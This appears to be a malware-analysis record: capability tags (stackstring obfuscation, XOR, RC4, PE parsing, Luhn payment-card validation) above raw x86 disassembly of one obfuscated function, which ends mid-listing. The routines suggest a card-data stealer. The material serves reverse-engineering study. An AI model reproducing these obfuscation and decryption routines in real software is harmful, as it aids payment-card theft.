Function at 0xdf1ba5
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 ksa
Parse pe header
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc38
push ebx
push esi
push edi
mov esi, 0xdd1908
mov dword [ebp - 0x3dc], edx
lea edi, [ebp - 0x20]
mov dword [ebp - 0x428], ecx
push 0x1d
pop eax
movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov byte [ebp - 0x79], al
mov byte [ebp - 0x6f], al
mov eax, ebx
mov dword [ebp - 0x80], 0xc1fb5ca8
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x7c], 0xf9b5
mov byte [ebp - 0x7a], 0xbc
mov dword [ebp - 0x78], 0xa54c049e
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x74], 0xcf7eb84a
mov byte [ebp - 0x70], 0x1f
mov dword [ebp - 0x6e], 0xc1bfe8d6
movsw word es:[edi], word [esi]
mov word [ebp - 0x6a], 0xc62e
mov dword [ebp - 8], ebx
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf1c0b
mov al, byte [0xe1a648]
mov edi, ebx
mov esi, dword [0xe1a6c0]
mov byte [ebp - 0x65], al
mov eax, dword [0xe1a6bc]
mov dword [ebp - 0xfc], 0xe
mov dword [ebp - 0x5c], eax
xor edx, edx
mov cl, byte [ebp + edi - 0x218]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0xfc]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x20]
add eax, dword [ebp - 8]
mov dh, byte [ebp - 0x65]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x218]
mov byte [ebp + edi - 0x218], al
mov eax, ebx
test dh, dh
je 0xdf1cae
inc eax
cmp eax, 0x16db
jl 0xdf1ca2
cmp byte [eax + 0xe1a648], bl
jne 0xdf1c7a
cmp eax, 0x2154
jle 0xdf1cae
mov eax, dword [ebp - 0x5c]
sub esi, 0xe956904
mov dword [0xe1a6c0], esi
jmp 0xdf1cb6
or esi, 0x39bdc16
mov dword [0xe1a6c0], esi
mov eax, dword [ebp - 0x5c]
add eax, 0x66640113
add eax, 0x4705d377
inc edi
mov dword [ebp - 0x5c], eax
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x218], al
cmp edi, 0x100
jb 0xdf1c3c
lea eax, [esi + 0x2195f191]
mov edi, ebx
mov dword [ebp - 8], eax
mov esi, ebx
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebp + ebx - 0x218]
movzx eax, dl
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp + ebx - 0x218], al
mov byte [ebp + esi - 0x218], dl
movzx ecx, byte [ebp + ebx - 0x218]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + edi - 0x80]
mov byte [ebp + edi - 0x7a4], al
inc edi
cmp edi, 0x18
jb 0xdf1ce2
push 9
xor ebx, ebx
mov eax, 0xe1a648
pop ecx
mov byte [ebp - 0x78c], bl
mov dword [ebp - 0x64], eax
mov dword [ebp - 0xe8], ecx
jmp 0xdf1d59
sub dh, 0x30
cmp dh, cl
ja 0xdf1d5f
inc eax
mov dh, byte [eax]
test dh, dh
jne 0xdf1d4f
jmp 0xdf1d69
add dword [0xe1a6c0], 0x26b97f4c
imul eax, dword [ebp - 8], 0xc71bbe4d
mov edx, 0xdd29e4
mov ecx, 0xdd2a10
mov dword [0xe1a6bc], eax
call fcn.00df1a8a
mov esi, 0xdd2a28
mov dword [ebp - 0x14], 0x44a9e58c
lea edi, [ebp - 0x258]
mov word [ebp - 0x10], 0x9287
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf1da5
push 0x6f
pop eax
mov ecx, 0xdd2f70
mov dword [ebp - 0xb4], eax
push 9
pop edx
sub al, 0x30
cmp al, dl
mov edx, dword [0xe1a6bc]
ja 0xdf1dda
inc ecx
mov al, byte [ecx]
test al, al
jne 0xdf1dc2
jmp 0xdf1de5
imul eax, edx, 0xab80f5f5
mov dword [0xe1a6c0], eax
and edx, 0xe3311a14
mov ecx, 0xe1a648
push edx
mov dword [0xe1a6bc], edx
call fcn.00df1a77
pop ecx
push 0xd
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
mov eax, esi
div ecx
movzx ecx, bl
push 0xd
movzx eax, byte [ebp + edx - 0x258]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf1e02
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x458], al
inc esi
pop eax
cmp esi, eax
jb 0xdf1e48
push 0x60
xor ebx, ebx
mov dword [ebp - 0x1c], eax
pop edx
mov byte [ebp - 0x452], bl
mov ecx, edx
mov dword [ebp - 0x18], 0x43
mov eax, ebx
mov dword [ebp - 0x14], 0xffffff57
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf1eba
mov dword [ebp - 0x424], ecx
mov ecx, dword [0xe1a6c0]
push 0x2c
mov dword [ebp - 0x20], edx
mov edx, ebx
mov dword [ebp - 0x14], 0xffffff1a
lea eax, [ecx + 0x52c0771c]
mov dword [ebp - 0x24], 0x49
mov dword [0xe1a6bc], eax
xor ecx, 0xf4fde0c5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
movups xmm1, xmmword [ebp - 0x20]
push 5
mov dword [0xe1a6c0], ecx
movaps xmm0, xmm1
mov dword [ebp - 0x20], 0x3e
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x1c], 0x60
movups xmm0, xmm1
mov dword [ebp - 0x18], 0x42
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x14], 0xfffffed7
movd eax, xmm1
pop edi
add eax, 0x2f
mov dword [ebp - 0x420], eax
mov eax, ebx
sub edx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edi
jl 0xdf1f4d
push 0x46
mov dword [ebp - 0x41c], edx
mov eax, ebx
pop edx
mov dword [ebp - 0x18], 0x3e
mov dword [ebp - 0x14], 0xffffff7c
add edx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 2
jl 0xdf1f6f
push 0x36
mov dword [ebp - 0x418], edx
mov eax, ebx
pop edx
mov dword [ebp - 0x18], 0x40
mov dword [ebp - 0x14], 0xffffff8a
add edx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 2
jl 0xdf1f92
mov dword [ebp - 0x414], edx
mov eax, ebx
mov edx, 0x2000
mov dword [ebp - 0x24], 0x24
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 0x45
mov dword [ebp - 0x18], 0x63
mov dword [ebp - 0x14], 0x1b2c
sub edx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edi
jl 0xdf1fcc
mov dword [ebp - 0x42c], edx
mov esi, ebx
mov edx, 0x1b8
inc esi
cmp esi, 0x4bc
jg 0xdf1ff5
cmp byte [esi + 0xdd2fd0], bl
jne 0xdf1fe2
jmp 0xdf202e
call fcn.00df177a
mov ecx, dword [0xe1a6c0]
sub ecx, 0x1953a7d4
mov dword [0xe1a6c0], ecx
cmp esi, 0x6ce
jle 0xdf2029
mov edx, 0xdd21e0
mov ecx, 0xdd2a40
call fcn.00df1a8a
mov ecx, dword [0xe1a6c0]
mov edx, 0x1b8
push 0x31
pop eax
xor ecx, 0xf3198370
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x20], 0x57
mov dword [ebp - 0x1c], 0x64
mov dword [ebp - 0x14], 0x73
sub edx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edi
jl 0xdf2057
mov esi, 0xdd2300
mov dword [ebp - 0x430], edx
lea edi, [ebp - 0x1c]
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf2075
push 0xb
pop ecx
mov esi, ebx
mov dword [ebp - 0xb0], ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
mov eax, esi
div ecx
movzx ecx, bl
push 0xb
movzx eax, byte [ebp + edx - 0x1c]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
mov ebx, 0x100
cmp esi, ebx
jb 0xdf208f
mov dl, byte [ebp - 0x217]
lea edi, [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov esi, 0xdd2a6c
xor eax, 0xbbe057ff
movzx ecx, dl
mov dword [ebp - 0x5c], eax
push 0x19
mov word [ebp - 0x80], 0x3a3f
mov al, byte [ebp + ecx - 0x218]
mov byte [ebp - 0x217], al
mov byte [ebp + ecx - 0x218], dl
movzx eax, byte [ebp - 0x217]
movzx ecx, dl
add ecx, eax
mov byte [ebp - 0x7d], 0x24
movzx eax, cl
pop ecx
mov byte [ebp - 0x7e], cl
push 0x1e
mov al, byte [ebp + eax - 0x218]
pop ecx
mov byte [ebp - 0x7c], cl
xor al, 0xe8
mov ecx, dword [ebp - 0xb4]
mov byte [ebp - 0x77], cl
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xfe], al
imul eax, dword [ebp - 8], 0x7cfd8afe
mov dword [ebp - 0x7b], 0x6ca18532
movsw word es:[edi], word [esi]
mov dword [ebp - 0x76], 0x4a44b75b
mov dword [ebp - 0x72], 0x21f6985e
mov dword [ebp - 0x60], eax
mov dword [0xe1a6c0], eax
xor eax, eax
mov byte [ebp - 0xfd], al
mov edi, eax
mov dword [ebp - 0x6e], 0xf6979621
mov ecx, eax
mov word [ebp - 0x6a], 0x745e
mov byte [ebp + ecx - 0x218], cl
inc ecx
cmp ecx, ebx
jb 0xdf217e
mov esi, eax
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0x1d
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x2c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf218c
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x80]
mov byte [ebp + esi - 0x7c0], al
inc esi
cmp esi, 0x18
jb 0xdf21cf
push 0x59
pop edx
mov dword [ebp - 0x1c], 0x3c
xor ebx, ebx
mov dword [ebp - 0x18], 0x38
mov dword [ebp - 0x14], 0xfffffee9
mov dword [ebp - 0x20], edx
movups xmm1, xmmword [ebp - 0x20]
push 0x57
pop esi
movaps xmm0, xmm1
mov byte [ebp - 0x7a8], bl
psrldq xmm0, 8
mov ecx, esi
paddd xmm1, xmm0
mov dword [ebp - 0x1c], 0x17
movups xmm0, xmm1
mov dword [ebp - 0x18], edx
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x14], 0xffffff39
movd eax, xmm1
add eax, 0x4a
mov dword [ebp - 0x434], eax
mov eax, ebx
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf2283
push 0x18
mov dword [ebp - 0x438], ecx
mov eax, ebx
pop ecx
mov dword [ebp - 0x1c], 0x4f
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x14], 0xffffff8a
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf22ad
push 0x1b
mov dword [ebp - 0x440], ecx
mov eax, ebx
pop ecx
mov dword [ebp - 0x1c], 0x58
mov dword [ebp - 0x18], 0x25
mov dword [ebp - 0x14], 0x6c
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf22d7
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 0x1a
mov dword [ebp - 0x18], 0x62
mov dword [ebp - 0x14], 0xffffff44
movups xmm1, xmmword [ebp - 0x20]
push 0x1e
mov dword [ebp - 0x1c], esi
movaps xmm0, xmm1
mov dword [ebp - 0x14], 0xffffff47
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x20], 4
movups xmm0, xmm1
mov esi, dword [ebp - 0x5c]
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x43c], ecx
movd eax, xmm1
mov dword [ebp - 0x58], 0x7a87facc
mov word [ebp - 0x54], 0xe860
add eax, 0x3f
mov word [ebp - 0x51], 0x48af
mov dword [ebp - 0x3f0], eax
pop eax
mov dword [ebp - 0x18], eax
movups xmm1, xmmword [ebp - 0x20]
push 5
mov byte [ebp - 0x4f], 0x6e
movaps xmm0, xmm1
mov dword [ebp - 0x4d], 0x7e62dade
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x49], 0x78c93be5
movups xmm0, xmm1
mov dword [ebp - 0x45], 0xb00b36e
psrldq xmm0, 4
paddd xmm1, xmm0
mov byte [ebp - 0x41], 0x2f
movd eax, xmm1
mov dword [ebp - 0x3e], 0xff21b676
mov dword [ebp - 0x3a], 0xd89bdfc0
add eax, 0x40
mov dword [ebp - 0x36], 0x949b3fd1
mov dword [ebp - 0x3f4], eax
pop eax
push 9
mov byte [ebp - 0x52], al
pop eax
mov byte [ebp - 0x4e], al
push 0x17
pop eax
mov byte [ebp - 0x40], al
mov eax, dword [ebp - 0xb4]
mov byte [ebp - 0x3f], al
push 0x13
pop eax
mov byte [ebp - 0x30], al
mov eax, ebx
mov word [ebp - 0x32], 0xeb7f
mov word [ebp - 0x2f], 0x35a
mov byte [ebp - 0x2d], 0xaf
mov dword [ebp - 0x18], 0x73657268
mov dword [ebp - 0x14], 0x746c75
mov dword [ebp - 8], ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf23f8
add esi, 0x93d4b0a
mov edi, ebx
mov dword [ebp - 0x5c], esi
mov dword [0xe1a6bc], esi
xor edx, edx
mov bl, byte [ebp + edi - 0x218]
push 7
mov eax, edi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x18]
add eax, dword [ebp - 8]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x218]
mov byte [ebp + edi - 0x218], al
inc edi
mov byte [ebp + ecx - 0x218], bl
cmp edi, 0x100
jb 0xdf2418
xor ebx, ebx
mov esi, ebx
mov edi, ebx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [ebp + esi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + esi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + esi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + edi - 0x58]
mov byte [ebp + edi - 0x828], al
inc edi
cmp edi, 0x2c
jb 0xdf245f
mov esi, dword [ebp - 0x5c]
xor ebx, ebx
mov byte [ebp - 0x7fc], bl
mov eax, ebx
inc eax
cmp eax, 0x26f
jl 0xdf24d1
cmp byte [eax + 0xdd2f70], bl
jne 0xdf24bc
mov eax, dword [ebp - 0x60]
jmp 0xdf24e4
push esi
mov edx, esi
mov ecx, 0xe1a648
call fcn.00df1a77
mov eax, dword [0xe1a6c0]
pop ecx
mov esi, 0xdd1aa4
mov dword [ebp - 0x14], 0x31824eb
lea edi, [ebp - 0x258]
mov word [ebp - 0x10], 0x41eb
and eax, 0x40200510
or eax, 0x5927884
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf2511
push 0xc
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
mov eax, esi
div ecx
movzx ecx, bl
push 0xc
movzx eax, byte [ebp + edx - 0x258]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf2525
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov dl, byte [ebp + edi - 0x218]
movzx eax, dl
add eax, ebx
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], dl
movzx ecx, byte [ebp + edi - 0x218]
movzx eax, dl
add ecx, eax
movzx eax, cl
push 6
pop ecx
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x460], al
inc esi
cmp esi, ecx
jb 0xdf256b
mov dword [ebp - 0x20], 0x2d
xor ebx, ebx
mov dword [ebp - 0x1c], 0x3f
mov dword [ebp - 0x18], 0x53
mov dword [ebp - 0x14], 0xffffff3b
movups xmm1, xmmword [ebp - 0x20]
push 5
mov byte [ebp - 0x45a], bl
movaps xmm0, xmm1
mov dword [ebp - 0x24], 0x55
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x20], 0x4c
movups xmm0, xmm1
mov dword [ebp - 0x1c], 0x56
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x18], 0x54
movd eax, xmm1
mov dword [ebp - 0x14], 0xfffffeb5
pop edx
add eax, ecx
mov ecx, ebx
mov dword [ebp - 0xe4], eax
mov eax, ebx
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edx
jl 0xdf2635
mov dword [ebp - 0x18], 0x1b
xorps xmm1, xmm1
mov dword [ebp - 0x14], 0xffffff6c
mov dword [ebp - 0x20], 0x40
mov dword [ebp - 0x1c], 0x54
movups xmm0, xmmword [ebp - 0x20]
push 0x17
mov dword [ebp - 0x404], ecx
psubd xmm1, xmm0
mov dword [ebp - 0x18], 0x46
movaps xmm0, xmm1
mov dword [ebp - 0x14], 0xffffffa3
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x1e
mov dword [ebp - 0x400], eax
pop eax
mov ecx, eax
mov eax, ebx
add ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 2
jl 0xdf26a5
push 7
pop eax
mov dword [ebp - 0x3fc], ecx
mov ecx, ebx
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x24], 0x58
mov dword [ebp - 0x20], 0x5b
mov dword [ebp - 0x18], 0x41
mov dword [ebp - 0x14], 0xffffff05
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edx
jl 0xdf26db
mov dword [ebp - 0x3f8], ecx
mov edx, ebx
imul ecx, dword [ebp - 0x60], 0x3217203b
mov eax, ebx
mov dword [ebp - 0x1c], 0x64
mov dword [ebp - 0x18], 0x4a
mov dword [ebp - 0x14], 0xffffff52
sub edx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf270a
mov dword [ebp - 0x20], 0x52
lea edi, [ebp - 0x20]
mov dword [ebp - 0x1c], 0x1c
xorps xmm1, xmm1
mov dword [ebp - 0x18], 0xf
mov esi, 0xdd1908
mov dword [ebp - 0x14], 0x2383
movups xmm0, xmmword [ebp - 0x20]
push 0xe
movsd dword es:[edi], dword [esi]
psubd xmm1, xmm0
imul eax, ecx, 0x41ca76b2
movaps xmm0, xmm1
mov dword [ebp - 0x40c], edx
psrldq xmm0, 8
paddd xmm1, xmm0
movsd dword es:[edi], dword [esi]
movups xmm0, xmm1
mov dword [ebp - 0x58], 0xfbfc72ae
mov dword [0xe1a6c0], eax
psrldq xmm0, 4
paddd xmm1, xmm0
movsd dword es:[edi], dword [esi]
pop ecx
movd eax, xmm1
push 0xc
movsw word es:[edi], word [esi]
add eax, 0x2800
mov dword [ebp - 0x54], 0x43ffe78b
mov dword [ebp - 0x408], eax
pop eax
mov byte [ebp - 0x3c], al
push 0x1d
pop eax
movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x2d], al
mov edi, ebx
mov word [ebp - 0x50], 0x891
mov eax, ebx
mov byte [ebp - 0x4e], cl
mov dword [ebp - 0x4d], 0x10fb41cf
mov byte [ebp - 0x49], 0xf2
mov byte [ebp - 0x48], cl
mov dword [ebp - 0x47], 0xe398b147
mov dword [ebp - 0x43], 0xc7aa37e2
mov word [ebp - 0x3f], 0xf459
mov byte [ebp - 0x3d], 0x22
mov dword [ebp - 0x3b], 0xb2115581
mov dword [ebp - 0x37], 0x25fbf6c8
mov dword [ebp - 0x33], 0x4f4f708f
mov word [ebp - 0x2f], 0x53e4
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf27ec
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
mov eax, esi
div ecx
movzx ecx, bl
push 0xe
movzx eax, byte [ebp + edx - 0x20]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf27fd
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x58]
mov byte [ebp + esi - 0x858], al
inc esi
cmp esi, 0x2c
jb 0xdf2840
mov esi, dword [0xe1a6c0]
mov edi, 0xdd2f70
mov ecx, dword [ebp - 0xb4]
mov eax, esi
and eax, 0x334fbdca
mov edx, 0x99b
xor ebx, ebx
mov dword [0xe1a6bc], eax
mov byte [ebp - 0x82c], bl
mov eax, edi
add edx, ecx
inc eax
cmp edx, 0x1246
ja 0xdf28d3
movsx ecx, byte [eax]
test ecx, ecx
jne 0xdf28bc
jmp 0xdf29c3
push esi
mov edx, esi
mov ecx, edi
call fcn.00df1a77
mov eax, dword [0xe1a6bc]
mov edi, ebx
pop ecx
mov cl, byte [0xe1a648]
add eax, 0x577f9108
mov dword [0xe1a6bc], eax
test cl, cl
je 0xdf297e
inc edi
cmp edi, 0x1fc8
je 0xdf2974
mov esi, 0xfe3
movzx ecx, cl
mov edx, 0xe1a648
jmp 0xdf2923
add esi, ecx
inc edx
cmp esi, 0x1801
ja 0xdf2929
movzx ecx, byte [edx]
test ecx, ecx
jne 0xdf2915
jmp 0xdf2937
push eax
mov edx, eax
mov ecx, 0xdd2f70
call fcn.00df1a77
pop ecx
imul eax, dword [0xe1a6c0], 0x4c5559ed
mov dword [0xe1a6bc], eax
xor eax, 0xd261bd89
mov edx, 0xdd2a8c
mov ecx, 0xdd2aa4
mov dword [0xe1a6c0], eax
call fcn.00df1a8a
cmp byte [edi + 0xe1a648], bl
je 0xdf297e
mov cl, byte [0xe1a648]
mov eax, dword [0xe1a6bc]
jmp 0xdf28fd
xor eax, 0x64d12d7b
mov dword [0xe1a6c0], eax
mov eax, dword [0xe1a6c0]
add eax, 0x3560e790
imul eax, eax, 0xb5091a87
mov dword [0xe1a6bc], eax
call fcn.00df177a
mov eax, dword [0xe1a6bc]
mov ecx, 0xdd2fd0
mov edx, dword [0xe1a6c0]
xor eax, 0xfffebbf7
or eax, 0xdeacbb97
push eax
mov dword [0xe1a6bc], eax
call fcn.00df1a77
pop ecx
mov edi, 0xdd2f70
movzx eax, byte [0xe1a648]
mov edx, 0x1740
mov ecx, 0xe1a648
jmp 0xdf29e4
add edx, eax
inc ecx
cmp edx, 0x256a
ja 0xdf29ea
movzx eax, byte [ecx]
test eax, eax
jne 0xdf29d6
jmp 0xdf29ef
call fcn.00df177a
mov eax, dword [0xe1a6bc]
or eax, 0xff57ffb5
mov dword [0xe1a6c0], eax
call fcn.00df177a
mov edx, dword [0xe1a6c0]
add edx, 0x7ed49f9e
mov dword [0xe1a6bc], edx
imul eax, edx, 0x5bb2ea48
mov ecx, edi
push edx
mov dword [0xe1a6c0], eax
call fcn.00df1a77
mov esi, 0xdd2ab0
mov word [ebp - 0x14], 0x2cf2
lea edi, [ebp - 0x254]
mov word [ebp - 0x11], 0xd411
pop ecx
push 0x13
movsd dword es:[edi], dword [esi]
mov ecx, 0xdd2fd0
pop eax
mov byte [ebp - 0x12], al
mov al, 0x63
mov byte [ebp - 0xf], 0xa7
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 9
pop edx
sub al, 0x30
cmp al, dl
mov edx, dword [0xe1a6c0]
ja 0xdf2a6d
inc ecx
mov al, byte [ecx]
test al, al
jne 0xdf2a55
jmp 0xdf2a78
lea eax, [edx - 0x19fda910]
mov dword [0xe1a6bc], eax
imul eax, edx, 0xf68e3fd2
mov dword [0xe1a6c0], eax
mov eax, 0xe1a648
mov edx, eax
mov ecx, eax
call fcn.00df192f
mov eax, dword [0xe1a6c0]
mov edi, ebx
mov dword [ebp - 0x60], eax
add eax, 0x43d169b6
mov dword [ebp - 0xc], eax
mov eax, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf2aa5
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 9
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x254]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf2ab6
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x468], al
inc esi
pop eax
cmp esi, eax
jb 0xdf2afc
push 0xd
pop eax
push 0x4b
pop edx
xor ebx, ebx
mov dword [ebp - 0x24], eax
push 5
mov byte [ebp - 0x462], bl
mov ecx, ebx
mov dword [ebp - 0x20], 0x2c
mov eax, ebx
mov dword [ebp - 0x1c], 0x60
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], 0xffffff1c
pop edi
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edi
jl 0xdf2b7e
mov esi, dword [ebp - 0xc]
mov eax, ebx
push 0x50
mov dword [ebp - 0x110], ecx
and esi, 0xfd21d5f2
pop ecx
mov dword [ebp - 0x18], 0xb
mov dword [ebp - 0x14], 0xffffffa5
add ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 2
jl 0xdf2ba9
push 0x4f
mov dword [ebp - 0x3c8], ecx
pop ecx
push 0xe
pop eax
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x1c], 0x3a
mov dword [ebp - 0x14], 0xffffff69
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf2bd2
push 0xd
pop eax
mov dword [ebp - 0x3d4], ecx
mov ecx, edx
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x1c], 0x36
mov dword [ebp - 0x14], 0xffffff73
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf2bfa
push 5
mov dword [ebp - 0x3d0], ecx
mov eax, ebx
mov ecx, ebx
mov dword [ebp - 0x24], 0x23
mov dword [ebp - 0x20], 0x2f
mov dword [ebp - 0x1c], 0x18
mov dword [ebp - 0x18], 0x62
mov dword [ebp - 0x14], 0xffffff34
pop edx
